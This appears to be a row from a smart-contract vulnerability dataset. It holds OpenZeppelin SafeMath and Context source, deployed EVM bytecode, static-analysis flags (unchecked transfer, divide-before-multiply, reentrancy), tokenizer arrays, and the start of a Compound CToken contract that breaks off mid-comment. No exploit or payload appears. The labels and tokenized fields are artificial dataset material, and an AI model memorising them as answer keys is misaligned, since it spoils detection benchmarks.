operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063d755a5c611610071578063d755a5c6146102e3578063dcf5312114610301578063e7e65dec1461031f578063e87237541461033b578063f2fde38b146103575761012c565b80638da5cb5b1461025357806398f20f6e14610271578063ae17cf771461028d578063c3244cd8146102a9578063c828371e146102c55761012c565b806371a4022b116100f457806371a4022b146101c157806372298b82146101df5780638136ae37146101fb578063861453ca146102175780638c36f0c8146102355761012c565b8063244eec061461013157806329780a4e1461014d578063439f5ac21461016957806347f1a80914610187578063715018a6146101b7575b600080fd5b61014b600480360381019061014691906113ab565b610373565b005b6101676004803603810190610162919061140e565b610433565b005b61017161062c565b60405161017e9190611480565b60405180910390f35b6101a1600480360381019061019c91906113ab565b610645565b6040516101ae91906114aa565b60405180910390f35b6101bf610657565b005b6101c96106df565b6040516101d691906114e0565b60405180910390f35b6101f960048036038101906101f49190611527565b6106f6565b005b61021560048036038101906102109190611554565b610796565b005b61021f610a19565b60405161022c9190611590565b60405180910390f35b61023d610a43565b60405161024a9190611590565b60405180910390f35b61025b610a6d565b6040516102689190611590565b60405180910390f35b61028b600480360381019061028691906113ab565b610a96565b005b6102a760048036038101906102a291906115d7565b610b56565b005b6102c360048036038101906102be91906113ab565b610bef565b005b6102cd610caf565b6040516102da9190611480565b60405180910390f35b6102eb610cc8565b6040516102f891906114aa565b60405180910390f35b610309610cec565b6040516103169190611590565b60405180910390f35b61033960048036038101906103349190611554565b610d16565b005b61035560048036038101906103509190611527565b610db6565b005b610371600480360381019061036c91906113ab565b610e56565b005b61037b610f4e565b73ffffffffffffffffffffffffffffffffffffffff16610399610a6d565b73ffffffffffffffffffffffffffffffffffffffff16146103ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e690611661565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61043c83610f56565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160046101000a8154817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff02191690837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16021790555042600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548163ffffffff021916908363ffffffff16021790555061053682610f56565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160046101000a8154817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff02191690837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16021790555042600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548163ffffffff021916908363ffffffff160217905550505050565b60008060189054906101000a900463ffffffff16905090565b600061065082610f56565b9050919050565b61065f610f4e565b73ffffffffffffffffffffffffffffffffffffffff1661067d610a6d565b73ffffffffffffffffffffffffffffffffffffffff16146106d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ca90611661565b60405180910390fd5b6106dd600061122c565b565b6000600460149054906101000a900460ff16905090565b6106fe610f4e565b73ffffffffffffffffffffffffffffffffffffffff1661071c610a6d565b73ffffffffffffffffffffffffffffffffffffffff1614610772576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076990611661565b60405180910390fd5b80600060186101000a81548163ffffffff021916908363ffffffff16021790555050565b60001515600460149054906101000a900460ff161515146107b657600080fd5b60006107c86107c3610f4e565b610f56565b9050818110156107d757600080fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166323b872dd600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610845610f4e565b866040518463ffffffff1660e01b815260040161086493929190611681565b602060405180830381600087803b15801561087e57600080fd5b505af1158015610892573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b691906116cd565b506108ca83836112f090919063ffffffff16565b600560006108d6610f4e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160046101000a8154817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff02191690837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff160217905550426005600061096e610f4e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548163ffffffff021916908363ffffffff160217905550826109d2610f4e565b73ffffffffffffffffffffffffffffffffffffffff167f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d460405160405180910390a3505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a9e610f4e565b73ffffffffffffffffffffffffffffffffffffffff16610abc610a6d565b73ffffffffffffffffffffffffffffffffffffffff1614610b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0990611661565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610b5e610f4e565b73ffffffffffffffffffffffffffffffffffffffff16610b7c610a6d565b73ffffffffffffffffffffffffffffffffffffffff1614610bd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc990611661565b60405180910390fd5b80600460146101000a81548160ff02191690831515021790555050565b610bf7610f4e565b73ffffffffffffffffffffffffffffffffffffffff16610c15610a6d565b73ffffffffffffffffffffffffffffffffffffffff1614610c6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6290611661565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060149054906101000a900463ffffffff16905090565b6000610ce7670de0b6b3a764000060015461130690919063ffffffff16565b905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d1e610f4e565b73ffffffffffffffffffffffffffffffffffffffff16610d3c610a6d565b73ffffffffffffffffffffffffffffffffffffffff1614610d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8990611661565b60405180910390fd5b610dad670de0b6b3a76400008261131c90919063ffffffff16565b60018190555050565b610dbe610f4e565b73ffffffffffffffffffffffffffffffffffffffff16610ddc610a6d565b73ffffffffffffffffffffffffffffffffffffffff1614610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2990611661565b60405180910390fd5b80600060146101000a81548163ffffffff021916908363ffffffff16021790555050565b610e5e610f4e565b73ffffffffffffffffffffffffffffffffffffffff16610e7c610a6d565b73ffffffffffffffffffffffffffffffffffffffff1614610ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec990611661565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f399061176c565b60405180910390fd5b610f4b8161122c565b50565b600033905090565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90047bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152505090506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000826000015163ffffffff16600060149054906101000a900463ffffffff1663ffffffff16116110955782600001516110a9565b600060149054906101000a900463ffffffff165b905060004263ffffffff16600060189054906101000a900463ffffffff1663ffffffff16116110ea57600060189054906101000a900463ffffffff166110ec565b425b9050600084602001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1690508163ffffffff168363ffffffff161115611136578095505050505050611227565b6000838361114491906117bb565b63ffffffff1660015461115791906117ef565b90506112098573ffffffffffffffffffffffffffffffffffffffff166370a082318a6040518263ffffffff1660e01b81526004016111959190611590565b60206040518083038186803b1580156111ad57600080fd5b505afa1580156111c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e5919061185e565b6111fb620151808461130690919063ffffffff16565b61131c90919063ffffffff16565b905061121e818361133290919063ffffffff16565b96505050505050505b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836112fe919061188b565b905092915050565b6000818361131491906118ee565b905092915050565b6000818361132a91906117ef565b905092915050565b60008183611340919061191f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113788261134d565b9050919050565b6113888161136d565b811461139357600080fd5b50565b6000813590506113a58161137f565b92915050565b6000602082840312156113c1576113c0611348565b5b60006113cf84828501611396565b91505092915050565b6000819050919050565b6113eb816113d8565b81146113f657600080fd5b50565b600081359050611408816113e2565b92915050565b60008060006060848603121561142757611426611348565b5b600061143586828701611396565b935050602061144686828701611396565b9250506040611457868287016113f9565b9150509250925092565b600063ffffffff82169050919050565b61147a81611461565b82525050565b60006020820190506114956000830184611471565b92915050565b6114a4816113d8565b82525050565b60006020820190506114bf600083018461149b565b92915050565b60008115159050919050565b6114da816114c5565b82525050565b60006020820190506114f560008301846114d1565b92915050565b61150481611461565b811461150f57600080fd5b50565b600081359050611521816114fb565b92915050565b60006020828403121561153d5761153c611348565b5b600061154b84828501611512565b91505092915050565b60006020828403121561156a57611569611348565b5b6000611578848285016113f9565b91505092915050565b61158a8161136d565b82525050565b60006020820190506115a56000830184611581565b92915050565b6115b4816114c5565b81146115bf57600080fd5b50565b6000813590506115d1816115ab565b92915050565b6000602082840312156115ed576115ec611348565b5b60006115fb848285016115c2565b91505092915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061164b602083611604565b915061165682611615565b602082019050919050565b6000602082019050818103600083015261167a8161163e565b9050919050565b60006060820190506116966000830186611581565b6116a36020830185611581565b6116b0604083018461149b565b949350505050565b6000815190506116c7816115ab565b92915050565b6000602082840312156116e3576116e2611348565b5b60006116f1848285016116b8565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611756602683611604565b9150611761826116fa565b604082019050919050565b6000602082019050818103600083015261178581611749565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117c682611461565b91506117d183611461565b9250828210156117e4576117e361178c565b5b828203905092915050565b60006117fa826113d8565b9150611805836113d8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561183e5761183d61178c565b5b828202905092915050565b600081519050611858816113e2565b92915050565b60006020828403121561187457611873611348565b5b600061188284828501611849565b91505092915050565b6000611896826113d8565b91506118a1836113d8565b9250828210156118b4576118b361178c565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006118f9826113d8565b9150611904836113d8565b925082611914576119136118bf565b5b828204905092915050565b600061192a826113d8565b9150611935836113d8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561196a5761196961178c565b5b82820190509291505056fea26469706673582212207a53220dd321db2ae1e8d7ae07cf15a31c020f5ebd17142b86f7b196b2c1263964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 19961, 2475, 27717, 2581, 2620, 22394, 2094, 2549, 15878, 2692, 2063, 2683, 2620, 2581, 16703, 21486, 2683, 16086, 2683, 7959, 2497, 20958, 2475, 2094, 2487, 2094, 23833, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 29464, 11890, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,176
0x9654737a8e38F6460EF8B8C51682F5BB7d3ffe28
pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./CTokenInterfaces.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./EIP20Interface.sol"; import "./EIP20NonStandardInterface.sol"; import "./InterestRateModel.sol"; /** * @title Compound's CToken Contract * @notice Abstract base for CTokens * @author Compound */ contract CToken is CTokenInterface, Exponential, TokenErrorReporter { /** * @notice Initialize the money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ EIP-20 name of this token * @param symbol_ EIP-20 symbol of this token * @param decimals_ EIP-20 decimal precision of this token */ function initialize( ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint256 initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_ ) public { require(msg.sender == admin, "only admin may initialize the market"); require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once"); // Set initial exchange rate initialExchangeRateMantissa = initialExchangeRateMantissa_; require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero."); // Set the comptroller uint256 err = _setComptroller(comptroller_); require(err == uint256(Error.NO_ERROR), "setting comptroller failed"); // Initialize block number and borrow index (block number mocks depend on comptroller being set) accrualBlockNumber = getBlockNumber(); borrowIndex = mantissaOne; // Set the interest rate model (depends on block number / borrow index) err = _setInterestRateModelFresh(interestRateModel_); require(err == uint256(Error.NO_ERROR), "setting interest rate model failed"); name = name_; symbol = symbol_; decimals = decimals_; // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund) _notEntered = true; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, msg.sender, dst, amount) == uint256(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom( address src, address dst, uint256 amount ) external nonReentrant returns (bool) { return transferTokens(msg.sender, src, dst, amount) == uint256(Error.NO_ERROR); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); return true; } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { return accountTokens[owner]; } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint256) { Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()}); return mul_ScalarTruncate(exchangeRate, accountTokens[owner]); } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ) { uint256 cTokenBalance = getCTokenBalanceInternal(account); uint256 borrowBalance = borrowBalanceStoredInternal(account); uint256 exchangeRateMantissa = exchangeRateStoredInternal(); return (uint256(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @dev Function to simply retrieve block number * This exists mainly for inheriting test contracts to stub this result. */ function getBlockNumber() internal view returns (uint256) { return block.number; } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint256) { return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint256) { return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa); } /** * @notice Returns the estimated per-block borrow interest rate for this cToken after some change * @return The borrow interest rate per block, scaled by 1e18 */ function estimateBorrowRatePerBlockAfterChange(uint256 change, bool repay) external view returns (uint256) { uint256 cashPriorNew; uint256 totalBorrowsNew; if (repay) { cashPriorNew = add_(getCashPrior(), change); totalBorrowsNew = sub_(totalBorrows, change); } else { cashPriorNew = sub_(getCashPrior(), change); totalBorrowsNew = add_(totalBorrows, change); } return interestRateModel.getBorrowRate(cashPriorNew, totalBorrowsNew, totalReserves); } /** * @notice Returns the estimated per-block supply interest rate for this cToken after some change * @return The supply interest rate per block, scaled by 1e18 */ function estimateSupplyRatePerBlockAfterChange(uint256 change, bool repay) external view returns (uint256) { uint256 cashPriorNew; uint256 totalBorrowsNew; if (repay) { cashPriorNew = add_(getCashPrior(), change); totalBorrowsNew = sub_(totalBorrows, change); } else { cashPriorNew = sub_(getCashPrior(), change); totalBorrowsNew = add_(totalBorrows, change); } return interestRateModel.getSupplyRate(cashPriorNew, totalBorrowsNew, totalReserves, reserveFactorMantissa); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external nonReentrant returns (uint256) { require(accrueInterest() == uint256(Error.NO_ERROR), "accrue interest failed"); return totalBorrows; } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external nonReentrant returns (uint256) { require(accrueInterest() == uint256(Error.NO_ERROR), "accrue interest failed"); return borrowBalanceStored(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint256) { return borrowBalanceStoredInternal(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return the calculated balance or 0 if error code is non-zero */ function borrowBalanceStoredInternal(address account) internal view returns (uint256) { /* Get borrowBalance and borrowIndex */ BorrowSnapshot storage borrowSnapshot = accountBorrows[account]; /* If borrowBalance = 0 then borrowIndex is likely also 0. * Rather than failing the calculation with a division by 0, we immediately return 0 in this case. */ if (borrowSnapshot.principal == 0) { return 0; } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ uint256 principalTimesIndex = mul_(borrowSnapshot.principal, borrowIndex); uint256 result = div_(principalTimesIndex, borrowSnapshot.interestIndex); return result; } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public nonReentrant returns (uint256) { require(accrueInterest() == uint256(Error.NO_ERROR), "accrue interest failed"); return exchangeRateStored(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint256) { return exchangeRateStoredInternal(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return calculated exchange rate scaled by 1e18 */ function exchangeRateStoredInternal() internal view returns (uint256) { uint256 _totalSupply = totalSupply; if (_totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return initialExchangeRateMantissa; } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ uint256 totalCash = getCashPrior(); uint256 cashPlusBorrowsMinusReserves = sub_(add_(totalCash, totalBorrows), totalReserves); uint256 exchangeRate = div_(cashPlusBorrowsMinusReserves, Exp({mantissa: _totalSupply})); return exchangeRate; } } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint256) { return getCashPrior(); } /** * @notice Applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint256) { /* Remember the initial block number */ uint256 currentBlockNumber = getBlockNumber(); uint256 accrualBlockNumberPrior = accrualBlockNumber; /* Short-circuit accumulating 0 interest */ if (accrualBlockNumberPrior == currentBlockNumber) { return uint256(Error.NO_ERROR); } /* Read the previous values out of storage */ uint256 cashPrior = getCashPrior(); uint256 borrowsPrior = totalBorrows; uint256 reservesPrior = totalReserves; uint256 borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint256 borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the number of blocks elapsed since the last accrual */ uint256 blockDelta = sub_(currentBlockNumber, accrualBlockNumberPrior); /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ Exp memory simpleInterestFactor = mul_(Exp({mantissa: borrowRateMantissa}), blockDelta); uint256 interestAccumulated = mul_ScalarTruncate(simpleInterestFactor, borrowsPrior); uint256 totalBorrowsNew = add_(interestAccumulated, borrowsPrior); uint256 totalReservesNew = mul_ScalarTruncateAddUInt( Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior ); uint256 borrowIndexNew = mul_ScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = currentBlockNumber; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); return uint256(Error.NO_ERROR); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see 